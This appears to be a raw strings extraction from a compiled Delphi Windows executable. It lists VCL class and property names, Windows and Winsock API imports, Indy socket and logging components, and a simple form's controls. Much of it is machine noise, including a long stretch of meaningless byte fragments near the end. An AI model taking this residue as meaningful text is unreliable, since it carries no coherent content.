Uh7OA
SVWUQ
$Z]_^[
^[YY]
Uh\ZA
_^[Y]
TPropFixup
TPropIntfFixup
Uh3dA
_^[YY]
Owner
Uh!gA
_^[YY]
UhShA
_^[Y]
UhDkA
Uh_lA
UhBlA
C0_^[
Uh4oA
Classes
_^[Y]
Uh+sA
UhuuA
UhEuA
False
Uhf|A
_^[YY]
QQQQ3
Uh~~A
%s_%d
_^[YY]
^[YY]
QQQQQQQS
SVWUQ
Z]_^[
_^[Y]
S _^[
SVWUQ
Z]_^[
YZ_^[
SVWUQ
Z]_^[
G0_^[
;CDt:
R0_^[]
_^[YY]
TPUtilWindow
TColor
EInvalidGraphic
EInvalidGraphicOperation
TFontPitch
fpDefault
fpVariable
fpFixed
Graphics
TFontName
TFontCharset
TFontStyle
fsBold
fsItalic
fsUnderline
fsStrikeOut
Graphics
TFontStyles
TPenStyle
psSolid
psDash
psDot
psDashDot
psDashDotDot
psClear
psInsideFrame
Graphics
TPenMode
pmBlack
pmWhite
pmNop
pmNot
pmCopy
pmNotCopy
pmMergePenNot
pmMaskPenNot
pmMergeNotPen
pmMaskNotPen
pmMerge
pmNotMerge
pmMask
pmNotMask
pmXor
pmNotXor
Graphics
TBrushStyle
bsSolid
bsClear
bsHorizontal
bsVertical
bsFDiagonal
bsBDiagonal
bsCross
bsDiagCross
Graphics
TGraphicsObject
TGraphicsObject
Graphics
IChangeNotifier
Graphics
TFont
TFont
Graphics
Charset0
Color<
HeightP
Pitch<
Style
TPen
Graphics
ColorL
Style<
Width
TBrush
TBrush
Graphics
Color
Style
TCanvas
TCanvas
Graphics
Brush<
CopyMode
Font4
TGraphic
TGraphich
Graphics
TSharedImage
TBitmapImage
TBitmap
TBitmap
Graphics
TIconImage
TIcon
TIconT
Graphics
TResourceManager
^[YY]
_^[YY]
_^[Y]
^[YY]
clBlack
clMaroon
clGreen
clOlive
clNavy
clPurple
clTeal
clGray
clSilver
clRed
clLime
clYellow
clBlue
clFuchsia
clAqua
clWhite
clMoneyGreen
clSkyBlue
clCream
clMedGray
clActiveBorder
clActiveCaption
clAppWorkSpace
clBackground
clBtnFace
clBtnHighlight
clBtnShadow
clBtnText
clCaptionText
clDefault
clGradientActiveCaption
clGradientInactiveCaption
clGrayText
clHighlight
clHighlightText
clHotLight
clInactiveBorder
clInactiveCaption
clInactiveCaptionText
clInfoBk
clInfoText
clMenu
clMenuBar
clMenuHighlight
clMenuText
clNone
clScrollBar
cl3DDkShadow
cl3DLight
clWindow
clWindowFrame
clWindowText
ANSI_CHARSET
DEFAULT_CHARSET
SYMBOL_CHARSET
MAC_CHARSET
SHIFTJIS_CHARSET
HANGEUL_CHARSET
JOHAB_CHARSET
GB2312_CHARSET
CHINESEBIG5_CHARSET
GREEK_CHARSET
TURKISH_CHARSET
HEBREW_CHARSET
ARABIC_CHARSET
BALTIC_CHARSET
RUSSIAN_CHARSET
THAI_CHARSET
EASTEUROPE_CHARSET
OEM_CHARSET
Default
_^[Y]
_^[Y]
$YZ^[
E$PVSj
YZ_^[
$Z_^[
_^[YY]
C ;C$s
TBitmapCanvas
TBitmapCanvas
Graphics
@pPV3
_^[YY]
<$BMt
T]_^[
s(;~ t8
D$*Ph
C(_^[Y]
\$4Vj
SVWjH
TPatternManagerSV
_^[YY]
TObjectList
TOrderedList
TStack
comctl32.dll
InitCommonControlsEx
Uh%#B
_^[Y]
GetMonitorInfoA
GetSystemMetrics
MonitorFromRect
MonitorFromWindow
MonitorFromPoint
>(r[j
GetMonitorInfo
DISPLAY
>(r[j
GetMonitorInfoA
DISPLAY
>(r[j
GetMonitorInfoW
DISPLAY
EnumDisplayMonitors
USER32.DLL
IHelpSelector
HelpIntfs
IHelpSystem
HelpIntfs
ICustomHelpViewer
HelpIntfs
IExtendedHelpViewerd+B
HelpIntfs
ISpecialWinHelpViewer
HelpIntfs
IHelpManager
HelpIntfs
EHelpSystemException
THelpViewerNode
THelpManager
Uh2/B
UhI1B
R(FKu
Uhj3B
Uh]4B
_^[Y]
UhY;B
SVh,=B
comctl32.dll
InitializeFlatSB
UninitializeFlatSB
FlatSB_GetScrollProp
FlatSB_SetScrollProp
FlatSB_EnableScrollBar
FlatSB_ShowScrollBar
FlatSB_GetScrollRange
FlatSB_GetScrollInfo
FlatSB_GetScrollPos
FlatSB_SetScrollPos
FlatSB_SetScrollInfo
FlatSB_SetScrollRange
Uhq>B
TSynchroObject
TCriticalSection
uxtheme.dll
OpenThemeData
CloseThemeData
DrawThemeBackground
DrawThemeText
GetThemeBackgroundContentRect
GetThemePartSize
GetThemeTextExtent
GetThemeTextMetrics
GetThemeBackgroundRegion
HitTestThemeBackground
DrawThemeEdge
DrawThemeIcon
IsThemePartDefined
IsThemeBackgroundPartiallyTransparent
GetThemeColor
GetThemeMetric
GetThemeString
GetThemeBool
GetThemeInt
GetThemeEnumValue
GetThemePosition
GetThemeFont
GetThemeRect
GetThemeMargins
GetThemeIntList
GetThemePropertyOrigin
SetWindowTheme
GetThemeFilename
GetThemeSysColor
GetThemeSysColorBrush
GetThemeSysBool
GetThemeSysSize
GetThemeSysFont
GetThemeSysString
GetThemeSysInt
IsThemeActive
IsAppThemed
GetWindowTheme
EnableThemeDialogTexture
IsThemeDialogTextureEnabled
GetThemeAppProperties
SetThemeAppProperties
GetCurrentThemeName
GetThemeDocumentationProperty
DrawThemeParentBackground
EnableTheming
UhIJB
Uh)KB
IShellFolder
ShlObj
TCommonDialog
TCommonDialoglLB
Dialogs
Ctl3D
HelpContext
OnClose
OnShow
TOpenOption
ofReadOnly
ofOverwritePrompt
ofHideReadOnly
ofNoChangeDir
ofShowHelp
ofNoValidate
ofAllowMultiSelect
ofExtensionDifferent
ofPathMustExist
ofFileMustExist
ofCreatePrompt
ofShareAware
ofNoReadOnlyReturn
ofNoTestFileCreate
ofNoNetworkButton
ofNoLongNames
ofOldStyleDialog
ofNoDereferenceLinks
ofEnableIncludeNotify
ofEnableSizing
ofDontAddToRecent
ofForceShowHidden
Dialogs
TOpenOptions
TOpenOptionEx
ofExNoPlacesBar
DialogstOB
TOpenOptionsEx
TOFNotifyEx
TIncludeItemEvent
TOFNotifyEx
Include
Boolean
TOpenDialog
Dialogs
FileName
Filter<
FilterIndex
InitialDir OB
OptionspOB
OptionsEx
Title(
OnCanClose
OnFolderChange
OnSelectionChange
OnTypeChange
OnIncludeItemSVW
_^[Y]
Uh?VB
_^[Y]
;Ght4
Sh\YB
FileEditStyle
8Z|03
@\@t*U
u"Vh_
Cancel
Abort
Retry
Ignore
NoToAll
YesToAll
commdlg_help
commdlg_FindReplace
WndProcPtr%.8X%.8X
TTimer
TTimer
ExtCtrls
Enabled|
Interval
OnTimerSV
VhhdB
_^[Y]
Uh[eB
UhuiB
Delphi Picture
Delphi Component
UhAjB
UhqkB
MAPI32.DLL
Uh=mB
TCustomTabControl
TCustomTabControl
ComCtrls
TConversion`oB
TConversionFormat
comctl32.dll
TTabStrings
TTabStringsLpB
ComCtrls
Uh|qB
UhHuB
Uh*vB
G$_^[
SysTabControl32
Uhk|B
UhZ}B
_^[YY]
TThemeServices
Theme manager
2001, 2002 Mike Lischke
^[YY]
!"#$%H
TEditCharCase
ecNormal
ecUpperCase
ecLowerCase
StdCtrls
TDrawItemEvent
Control
TWinControl
Index
Integer
TRect
State
TOwnerDrawState
TMeasureItemEvent
Control
TWinControl
Index
Integer
Height
Integer
TCustomComboBoxStrings
TCustomComboBoxStrings
StdCtrls
TCustomCombo
TCustomCombo
StdCtrls
TComboBoxStyle
csDropDown
csSimple
csDropDownList
csOwnerDrawFixed
csOwnerDrawVariable
StdCtrls
TCustomComboBoxx
TCustomComboBox
StdCtrls
TComboBox
TComboBox
StdCtrls:
AutoComplete
AutoDropDown
AutoCloseUpT
BevelEdges
BevelInnerl
BevelKind
BevelOuterD
Style4
Anchors
BiDiMode0
CharCase0
Color
Constraints
Ctl3D
DragCursor
DragKind
DragMode<
DropDownCount
Enabled
ImeMode
ImeName<
ItemHeight<
ItemIndex<
MaxLength
ParentBiDiMode
ParentColor
ParentCtl3D
ParentFont
ParentShowHint
PopupMenu
ShowHint
Sorted
TabOrder
TabStop
Visible
OnChange
OnClick
OnCloseUp
OnContextPopup
OnDblClick
OnDragDrop
OnDragOver|
OnDrawItem
OnDropDown,
OnEndDock,
OnEndDrag
OnEnter
OnExitt
OnKeyDown
OnKeyPresst
OnKeyUp
OnMeasureItem
OnSelect
OnStartDock
OnStartDragx
Items
TListBoxStyle
lbStandard
lbOwnerDrawFixed
lbOwnerDrawVariable
lbVirtual
lbVirtualOwnerDraw
StdCtrls
TLBGetDataEvent
Control
TWinControl
Index
Integer
String
TLBGetDataObjectEvent
Control
TWinControl
Index
Integer
DataObject
TObject
TLBFindDataEvent
Control
TWinControl
FindString
String
Integer<
TCustomListBox
TCustomListBox4
StdCtrls
TabStop
TListBox
TListBoxX
StdCtrls=
Style
AutoComplete
Align4
AnchorsT
BevelEdges
BevelInnerl
BevelKind
BevelOuter
BiDiMode
BorderStyle0
Color<
Columns
Constraints
Ctl3D
DragCursor
DragKind
DragMode
Enabled
ExtendedSelect
ImeMode
ImeName
IntegralHeight<
ItemHeightx
Items
MultiSelect
ParentBiDiMode
ParentColor
ParentCtl3D
ParentFont
ParentShowHint
PopupMenu<
ScrollWidth
ShowHint
Sorted
TabOrder
TabStop<
TabWidth
Visible
OnClick
OnContextPopup
OnData
OnDataFind,
OnDataObject
OnDblClick
OnDragDrop
OnDragOver|
OnDrawItem,
OnEndDock,
OnEndDrag
OnEnter
OnExitt
OnKeyDown
OnKeyPresst
OnKeyUp
OnMeasureItem
OnMouseDown
OnMouseMove
OnMouseUp
OnStartDock
OnStartDrag
TScrollCode
scLineUp
scLineDown
scPageUp
scPageDown
scPosition
scTrack
scTop
scBottom
scEndScroll
StdCtrls
TScrollEvent
Sender
TObject
ScrollCode
TScrollCode
ScrollPos
Integer
TScrollBar
TScrollBarL
StdCtrls&
Align4
Anchors
BiDiMode
Constraints
Ctl3D
DragCursor
DragKind
DragMode
Enabled
LargeChange<
PageSize
ParentBiDiMode
ParentCtl3D
ParentShowHint
PopupMenu<
Position
ShowHint
SmallChange
TabOrder
TabStop
Visible
OnContextPopup
OnChange
OnDragDrop
OnDragOver,
OnEndDock,
OnEndDrag
OnEnter
OnExitt
OnKeyDown
OnKeyPresst
OnKeyUp
OnScroll
OnStartDock
OnStartDrag
TComboBoxStrings
TComboBoxStrings
StdCtrls
TListBoxStrings
TListBoxStrings$
StdCtrls
_^[Y]
_^[Y]
_^[Y]
_^[Y]
COMBOBOX
QQQQQQQSVW
_^[YY]
_^[YY]
_^[YY]
_^[YY]
_^[YY]
QQQQQQSVW
@YZ^[
YZ_^[
(]_^[
!G$_^[
LISTBOX
YZ]_^[
SCROLLBAR
_^[YY]
THintAction
THintAction
StdActns
TWinHelpViewer
_^[YY]
_^[YY]
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
_^[Y]
JumpID("","%s")
_^[YY]
_^[Y]
MS_WINHELP
#32770
TCursor
TAlign
alNone
alTop
alBottom
alLeft
alRight
alClient
alCustom
Controls
TDragObject
TDragObject
Controls
TBaseDragControlObject
TBaseDragControlObjectX
Controls
TDragControlObject
TDragControlObjectEx
TDragDockObject
TDragDockObject8
Controls
TDragDockObjectEx
TControlCanvas
TControlCanvas
Controls
TControlActionLink
TMouseButton
mbLeft
mbRight
mbMiddle
Controls
TDragMode
dmManual
dmAutomatic
Controls
TDragState
dsDragEnter
dsDragLeave
dsDragMove
Controls
TDragKind
dkDrag
dkDock
Controls
TTabOrder
TCaption
TAnchorKind
akLeft
akTop
akRight
akBottom
Controls
TAnchors
TConstraintSize
TSizeConstraints
TSizeConstraints
Controls
MaxHeightH
MaxWidthH
MinHeightH
MinWidth
TMouseEvent
Sender
TObject
Button
TMouseButton
Shift
TShiftState
Integer
Integer
TMouseMoveEvent
Sender
TObject
Shift
TShiftState
Integer
Integer
TKeyEvent
Sender
TObject
Shift
TShiftState
TKeyPressEvent
Sender
TObject
TDragOverEvent
Sender
TObject
Source
TObject
Integer
Integer
State
TDragState
Accept
Boolean
TDragDropEvent
Sender
TObject
Source
TObject
Integer
Integer
TStartDragEvent
Sender
TObject
DragObject
TDragObject
TEndDragEvent
Sender
TObject
Target
TObject
Integer
Integer
TDockDropEvent
Sender
TObject
Source
TDragDockObject
Integer
Integer
TDockOverEvent
Sender
TObject
Source
TDragDockObject
Integer
Integer
State
TDragState
Accept
Boolean
TUnDockEvent
Sender
TObject
Client
TControl
NewTarget
TWinControl
Allow
Boolean
TStartDockEvent
Sender
TObject
DragObject
TDragDockObject
TGetSiteInfoEvent
Sender
TObject
DockClient
TControl
InfluenceRect
TRect
MousePos
TPoint
CanDock
Boolean
TCanResizeEvent
Sender
TObject
NewWidth
Integer
NewHeight
Integer
Resize
Boolean
TConstrainedResizeEvent
Sender
TObject
MinWidth
Integer
MinHeight
Integer
MaxWidth
Integer
MaxHeight
Integer
TMouseWheelEvent
Sender
TObject
Shift
TShiftState
WheelDelta
Integer
MousePos
TPoint
Handled
Boolean
TMouseWheelUpDownEvent
Sender
TObject
Shift
TShiftState
MousePos
TPoint
Handled
Boolean
TContextPopupEvent
Sender
TObject
MousePos
TPoint
Handled
Boolean
TControl
TControlh
Controls
Left<
Width<
Height
Cursor
HelpType
HelpKeyword
HelpContextx
TWinControlActionLink
TImeMode
imDisable
imClose
imOpen
imDontCare
imSAlpha
imAlpha
imHira
imSKata
imKata
imChinese
imSHanguel
imHanguel
Controls
TImeName
TBorderWidth
TBevelCut
bvNone
bvLowered
bvRaised
bvSpace
Controls
TBevelEdge
beLeft
beTop
beRight
beBottom
ControlsX
TBevelEdges
TBevelKind
bkNone
bkTile
bkSoft
bkFlat
Controls
IDockManager
Controls
TWinControl
TWinControl0
Controls
TCustomControl
TCustomControl
Controls
THintWindow
THintWindowh C
Controls
TDockZone
TDockTree
TMouse
TCustomListControl
TCustomListControl
Controls
TCustomMultiSelectListControl
TCustomMultiSelectListControl
Controls
crDefault
crArrow
crCross
crIBeam
crSizeNESW
crSizeNS
crSizeNWSE
crSizeWE
crUpArrow
crHourGlass
crDrag
crNoDrop
crHSplit
crVSplit
crMultiDrag
crSQLWait
crAppStart
crHelp
crHandPoint
crSizeAll
crSize
TSiteList
_^[YY]
SPht.C
tPHt8
_^[Y]
S$_^[]
;B0t'
;B8t=
CQ tA
YZ_^[
Uh8AC
YZ]_^[
YZ_^[
UhiDC
t%Jt?Jt[
%s (%s)
Z:Pjt
YZ]_^[
$:Cat
u$;~|u
;CLtX3
Qh_^[
YZ_^[
YZ_^[
V:P\t
UhbWC
GP t;
_^[YY]
CH+D$
CL+D$
;s0t=;
:_Wt+
UhiYC
f;Pxt
KHQRP
Ht7Ht
IsControl
_^[YY]
YZ_^[
_^[YY]
_^[Y]
8]_^[
,]_^[
YZ_^[
^[YY]
RD;PD
:_[up
SVWUQ
Z]_^[
C$PVj
C$_^[
:GauOFKu
_^[Y]
DesignSize
_^[YY]
_^[Y]
t2HtY
,;=0kF
]_^[
_^[Y]
_^[Y]
$Z_^[
_^[YY]
_^[Y]
^[YY]
SVWUQ
Z]_^[
SVWUQ
Z]_^[
SVWUQ
Z]_^[
_^[YY]
;XDt#
SVWUQ
Z]_^[
t&j7j
YZ]_^[
YZ]_^[
YZ]_^[
t4VS
R|FOu
YZ]_^[
^[YY]
S8_^[]
+CH+E
+SL+U
_^[Y]
f;Pht
_^[Y]
t9;wlt4
YZ_^[
;Bdt*
;Bh|3
R|_^[
^dVht
^dVht
_^[Y]
Y_^[]
Y[YY]
t$;C8u
QQQQSVW
;Fdu;
^[YY]
Q8FKu
;Xdt>
t#;^dt
YZ_^[
Y_^[]
^[YY]
+W$;U
+G$;E
_^[Y]
BP_^[]
USER32
WINNLSEnableIME
imm32.dll
ImmGetContext
ImmReleaseContext
ImmGetConversionStatus
ImmSetConversionStatus
ImmSetOpenStatus
ImmSetCompositionWindow
ImmSetCompositionFontA
ImmGetCompositionStringA
ImmIsIME
ImmNotifyIME
YZ_^[
Delphi%.8X
ControlOfs%.8X%.8X
USER32
AnimateWindow
TContainedAction
TContainedAction<
ActnList
Category
TCustomActionList
TCustomActionList`
ActnList
TShortCutList
TShortCutList<
ActnList
TCustomAction
TCustomActionX
ActnList
TActionLinkSV
^[YY]
u*;~8u
R0GNu
SVWUQ
Z]_^[
QLGNu
R0Z_^[
QPFOu
_^[Y]
$:Cjt_
QTGNu
R0Z_^[
Q`FOu
R0]_^[
$;Ctt?
Q\GNu
R0Z_^[
QhGNu
R0Z_^[
QlGNu
R0Z_^[
SVWQf
QpGNu
R0Z_^[
QtFOu
R0]_^[
SVWUQ
$Z]_^[
UhM"D
TChangeLink
TImageIndex
TCustomImageList
TCustomImageListL#D
ImgList
Uh}%D
Uh=&D
Rd_^[
s8VV3
Uho)D
S0_^[]
R ;C0|
R,;C4}!
S`]_^[
Bitmap
Uhv8D
_^[Y]
comctl32.dll
comctl32.dll
ImageList_WriteEx
UhU9D
EMenuError
TMenuBreak
mbNone
mbBreak
mbBarBreak
Menus
TMenuChangeEvent
Sender
TObject
Source
TMenuItem
Rebuild
Boolean
TMenuDrawItemEvent
Sender
TObject
ACanvas
TCanvas
ARect
TRect
Selected
Boolean
TAdvancedMenuDrawItemEvent
Sender
TObject
ACanvas
TCanvas
ARect
TRect
State
TOwnerDrawState
TMenuMeasureItemEvent
Sender
TObject
ACanvas
TCanvas
Width
Integer
Height
Integer
TMenuItemAutoFlag
maAutomatic
maManual
maParent
Menus
TMenuAutoFlag
Menus
TMenuItem
Menus
Action
AutoCheck
AutoHotkeys
AutoLineReduction
Bitmap
Break
Caption
Checked
SubMenuImages
Default
EnabledT
GroupIndex
HelpContext
ImageIndex
RadioItem
ShortCut
Visible
OnClickX:D
OnDrawItem
OnAdvancedDrawItem<;D
OnMeasureItem
TMenu
TMenudAD
Menus
Items
TMainMenu
TMainMenuXBD
Menus
AutoHotkeys
AutoLineReduction
AutoMerge
BiDiMode
Images
OwnerDraw
ParentBiDiMode
OnChange
TPopupAlignment
paLeft
paRight
paCenter
Menus0DD
TTrackButton
tbRightButton
tbLeftButton
MenuspDD
TMenuAnimations
maLeftToRight
maRightToLeft
maTopToBottom
maBottomToTop
maNone
Menus
TMenuAnimation
TPopupMenu
TPopupMenu<ED
Menus
Alignment
AutoHotkeys
AutoLineReduction
AutoPopup
BiDiMode
HelpContext
Images
MenuAnimation
OwnerDraw
ParentBiDiMode,DD
TrackButton
OnChange
OnPopup
TPopupList
TMenuItemStack
1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ
UheKD
_^[YY]
f;B`t
UhsUD
CPPVj
UhrVD
Q<]_^[
SVWUQ
:X?s&
X?ENu
Z]_^[
Sh(VD
ShortCutText
UhO_D
_^[Y]
Uh[hD
_^[Y]
P?:S?u
:^8tB
:^9tg
Q<_^[
:^?t1
f;P`t
:]:tJ
Q<]_^[
@?:F?v
Q<]_^[
Q<_^[
W<CNu
6h8~D
SpFOu
$YZ]_^[
_^[Y]
_^[Y]
SVWUQ
Z]_^[
_^[YY]
S0^[]
_^[Y]
_^[Y]
Ih;J4u
_^[Y]
YZ]_^[
S0_^[
S<&uO
^[YY]
TScrollBarKind
sbHorizontal
sbVertical
Forms
TScrollBarInc
TScrollBarStyle
ssRegular
ssFlat
ssHotTrack
Forms
TControlScrollBar
TControlScrollBar
Forms
ButtonSize0
Color
Incrementh
Margin
ParentColor<
Position<
Range
Smooth<
Style<
ThumbSize
Tracking
Visible
TWindowState
wsNormal
wsMinimized
wsMaximized
Forms
TScrollingWinControl
TScrollingWinControl,
Forms
HorzScrollBar
VertScrollBar
TFormBorderStyle
bsNone
bsSingle
bsSizeable
bsDialog
bsToolWindow
bsSizeToolWin
Forms$
TBorderStyle
Forms
IDesignerHook
Forms
IOleForm
Forms
TFormStyle
fsNormal
fsMDIChild
fsMDIForm
fsStayOnTop
Forms
TBorderIcon
biSystemMenu
biMinimize
biMaximize
biHelp
Forms
TBorderIcons
TPosition
poDesigned
poDefault
poDefaultPosOnly
poDefaultSizeOnly
poScreenCenter
poDesktopCenter
poMainFormCenter
poOwnerFormCenter
Forms
TDefaultMonitor
dmDesktop
dmPrimary
dmMainForm
dmActiveForm
FormsX
TPrintScale
poNone
poProportional
poPrintToFit
Forms
TCloseAction
caNone
caHide
caFree
caMinimize
Forms
TCloseEvent
Sender
TObject
Action
TCloseAction
TCloseQueryEvent
Sender
TObject
CanClose
Boolean
TShortCutEvent
TWMKey
Handled
Boolean
THelpEvent
Command
Integer
CallHelp
Boolean
Boolean
TCustomForm
TCustomFormP
Forms
TForm
TFormT
FormsU
Action
ActiveControl
Align
AlphaBlendT
AlphaBlendValue4
Anchors
AutoScroll
AutoSize
BiDiModeL
BorderIcons
BorderStyle
BorderWidth
Caption<
ClientHeight<
ClientWidth0
Color
TransparentColor0
TransparentColorValue
Constraints
Ctl3D
UseDockManager
DefaultMonitor
DockSite
DragKind
DragMode
Enabled
ParentFont
FormStyle<
Height
HelpFile
HorzScrollBar
KeyPreview
OldCreateOrder
ObjectMenuItem
ParentBiDiMode<
PixelsPerInch
PopupMenud
PositionT
PrintScale
Scaled
ScreenSnap
ShowHint<
SnapBuffer
VertScrollBar
Visible<
Width
WindowState
WindowMenu
OnActivate
OnCanResize
OnClick
OnClose(
OnCloseQuery4
OnConstrainedResize
OnContextPopup
OnCreate
OnDblClick
OnDestroy
OnDeactivate
OnDockDrop
OnDockOver
OnDragDrop
OnDragOver,
OnEndDock8
OnGetSiteInfo
OnHide
OnHelpt
OnKeyDown
OnKeyPresst
OnKeyUp
OnMouseDown
OnMouseMove
OnMouseUp
OnMouseWheelL
OnMouseWheelDownL
OnMouseWheelUp
OnPaint
OnResizel
OnShortCut
OnShow
OnStartDock
OnUnDock
TCustomDockForm4
TCustomDockForm
Forms
PixelsPerInch
TMonitor
TScreen
TScreen$
Forms
TApplication
TApplication
Forms
t:GNu
^[YY]
;S$t6
;S0t6
]_^[
_^[Y]
_^[Y]
PixelsPerInch
TextHeight
IgnoreFontProperty
_^[YY]
S,_^[]
SVWUQ
$Z]_^[
;Cpu'
F(Z_^[
MDICLIENT
_^[Y]
_^[Y]
;ADti
f#CTf
_^[Y]
_^[YY]
t"GNu
$Z_^[
_^[YY]
_^[Y]
Y_^[]
_^[Y]
_^[Y]
_^[YY]
Ch;Ctt
Cd;Cpt
C\_^[
Uhw.E
Uh3.E
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
layout text
f;sDtsf
PWj W
CHYZ]_^[
UhQ1E
RD;PD
_^[YY]
UhE6E
TApplication
MAINICON
XD;PHu
sx;P`u
;B0uGj
Ph,>E
UhVHE
_^[YY]
vcltest3.dll
RegisterAutomation
SVWUQ
$Z]_^[
~D_^[Y]
_^[Y]
Uh|TE
_^[Y]
_^[Y]
;{HtK
YZ_^[
Uh8WE
UhmXE
Y_^[Y]
;^`u0
]_^[
^[YY]
YZ]_^[
User32.dll
SetLayeredWindowAttributes
TaskbarCreated
TPageChangeEvent
Sender
TObject
NewTab
Integer
AllowChange
Boolean
TTabPage
TTabPage
TabNotBk
Caption<
Height
TabOrder
Visible<
Width
Enabled
TTabbedNotebook
TTabbedNotebook
TabNotBk
ActivePage
Align4
Anchors
Constraints
Enabled<
PageIndexx
Pages
Font<
TabsPerRow
TabFont
ParentShowHint
PopupMenu
ShowHint
TabOrder
TabStop
Visible
OnClick
OnChange
OnContextPopup
OnEnter
OnExit
TTabPageAccess
TTabPageAccess$kE
TabNotBk
S _^[
R|]_^[
UhOpE
UhgqE
_^[YY]
_^[YY]
UhsvE
_^[YY]
UhExE
EIdException
EIdInvalidServiceName
EIdSocketError
EIdWS2StubError
Wh<}E
WSACleanup
accept
closesocket
connect
ioctlsocket
getpeername
getsockname
getsockopt
htonl
htons
inet_addr
inet_ntoa
listen
ntohl
ntohs
recvfrom
select
sendto
setsockopt
shutdown
socket
gethostbyaddr
gethostbyname
gethostname
getservbyport
getservbyname
getprotobynumber
getprotobyname
WSASetLastError
WSAGetLastError
WSAIsBlocking
WSAUnhookBlockingHook
WSASetBlockingHook
WSACancelBlockingCall
WSAAsyncGetServByName
WSAAsyncGetServByPort
WSAAsyncGetProtoByName
WSAAsyncGetProtoByNumber
WSAAsyncGetHostByName
WSAAsyncGetHostByAddr
WSACancelAsyncRequest
WSAAsyncSelect
__WSAFDIsSet
WSAAccept
WSACloseEvent
WSAConnect
WSACreateEvent
WSADuplicateSocketA
WSADuplicateSocketW
WSAEnumNetworkEvents
WSAEnumProtocolsA
WSAEnumProtocolsW
WSAEventSelect
WSAGetOverlappedResult
WSAGetQosByName
WSAHtonl
WSAHtons
WSAIoctl
WSAJoinLeaf
WSANtohl
WSANtohs
WSARecv
WSARecvDisconnect
WSARecvFrom
WSAResetEvent
WSASend
WSASendDisconnect
WSASendTo
WSASetEvent
WSASocketA
WSASocketW
WSAWaitForMultipleEvents
WSAAddressToStringA
WSAAddressToStringW
WSAStringToAddressA
WSAStringToAddressW
WSALookupServiceBeginA
WSALookupServiceBeginW
WSALookupServiceNextA
WSALookupServiceNextW
WSALookupServiceEnd
WSAInstallServiceClassA
WSAInstallServiceClassW
WSARemoveServiceClass
WSAGetServiceClassInfoA
WSAGetServiceClassInfoW
WSAEnumNameSpaceProvidersA
WSAEnumNameSpaceProvidersW
WSAGetServiceClassNameByClassIdA
WSAGetServiceClassNameByClassIdW
WSASetServiceA
WSASetServiceW
WSAProviderConfigChange
TransmitFile
AcceptEx
GetAcceptExSockaddrs
WSARecvEx
uAhm'
WS2_32.DLL
WS2_32.DLL
WSAStartup
TIdSocketList
TIdStack
EIdStackError
EIdStackInitializationFailed
EIdStackSetSizeExceededj
TIdSocketListWindows
TIdStackWindowsU
S|Z_^[
IdStackWindows
QQQQSVW
IdGlobal
IdGlobal
_^[Y]
FALSE
TIdBaseComponent
TIdBaseComponent
IdBaseComponent
TIdInterceptNotifyEvent
ASender
TIdConnectionIntercept
TIdInterceptStreamEvent
ASender
TIdConnectionIntercept
AStream
TStream
TIdConnectionIntercept
TIdConnectionIntercept
IdIntercept
OnConnect
OnDisconnect
OnReceive
OnSendS
F4_^[
TIdLogBase
TIdLogBase
IdLogBase
Active
LogTime
ReplaceCRLF
TLogItemStatusEvent
ASender
TComponent
AText
String
TLogItemDataEvent
ASender
TComponent
AText
String
AData
String
TIdLogEventd
TIdLogEvent
IdLogEvent
OnReceivedH
OnSent
OnStatus
ScrollBar1
ComboBox1
ListBox1
TabbedNotebook1
IdLogEvent1
OpenDialog1
TForm1
TForm1
Unit1
>X2Z222:Xr
hE22T
|F22T
cbX0Z
0Q22kk
4222=
<222t
k22kk
mX^hT
b221w>
baaX(a
)22be
)22X6Z2
22aX2
022aX6Z2
V822ade
+222=
e22Z2:22
f222Z6322
222Xv
Ov22X"
222XV
2222=
"XSjXDT
eeX1eX3Z222
T:22g
%x22o
3222X
f;22ade
6322e
baaX(a
mXJhXuT
22kkm
bw22=
>Z:022
:222X2
.122d
bbX5b
22XnjT
)22eX6
22XnjX\T
22dZ6:22a
:222X2
6322=
:222X2
::022
>0221
!22ade
222r=
5222b
222bT
q\T1w
D222kkZ2
Z:022
h22adT
w:X2Z-2=2
20232
522kk
C>22X2
222ml
U+22Z
22ZY8ppd
222ad
kb22T
1jkkkT
bbbba
$222a
222ad
5222a
:622ade
:222}
K222s
:222{
:222}
5222z?2
dXnjXVT
jXWiT
jXAlT
Z6322
XDjX_T
jX]hXGT
12221G&s
022ad
222b=
22X2e
.XVjXET
022adXv
22Z.122X2
6222X2
22ZNcUXe
222ZD
22ZWG
{222Z
22ZCd
22ZYd
"322Xr
2"22Z2
22bX2
:222X2
t&XrZ2
222be
+222d
22Z2"22a
baaX6aaa
X_jXA
p222X7
bXrX7d
222e=
"322ae
X2X2T
222ae
222mi
2222=
5222b
T$22kk
jX]hXQT
6222b
222X2Z
.122=
&222X2
222eX5d
&222X2
222eX3d
2223=
&222X2
222eX2d
u0T1w
:222X2
222Z2
?222T
622de
Z6322
222Xv
222X"
222dZ
bX3dX1Z
022aX6
X]jXBT
622de
Z6322
222X]jXBT
6322Z2
v/22T
J222X6d
522da
w:bZ6:22
X[hX\T
s>1w:1w>o
*222X
222mo
Z:022
baaX6aaa
22Z2"22a
20232
bX3aX1Z
*Z6322
JadeXSkXAlXE
6322Z
FWaad
sZiad
FWaad
sZiad
XPjXVT
bw22=
eeX0eX0Z222r
G>X2Z22"2X1Z:Z
bZ6322
422ade
6322e
5222a
$222a
222ad
222aZ
:222Z
3222s
3222s
3222s
3222s
3222s
bZ6322
u0T1w
222s
022eXAjXST
Z6322
w:X2T
222Z6322
6222b
GetSystemTimeAsFileTime
kernel32
FileTimeToSystemTime
Error
Runtime error at 00000000
0123456789ABCDEF
MS Sans Serif
kernel32.dll
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
InitializeCriticalSection
VirtualFree
VirtualAlloc
LocalFree
LocalAlloc
GetVersion
GetCurrentThreadId
InterlockedDecrement
InterlockedIncrement
VirtualQuery
WideCharToMultiByte
MultiByteToWideChar
lstrlenA
lstrcpynA
LoadLibraryExA
GetThreadLocale
GetStartupInfoA
GetProcAddress
GetModuleHandleA
GetModuleFileNameA
GetLocaleInfoA
GetCommandLineA
FreeLibrary
FindFirstFileA
FindClose
ExitProcess
WriteFile
UnhandledExceptionFilter
RtlUnwind
RaiseException
GetStdHandle
user32.dll
GetKeyboardType
LoadStringA
MessageBoxA
CharNextA
advapi32.dll
RegQueryValueExA
RegOpenKeyExA
RegCloseKey
oleaut32.dll
SysFreeString
SysReAllocStringLen
SysAllocStringLen
kernel32.dll
TlsSetValue
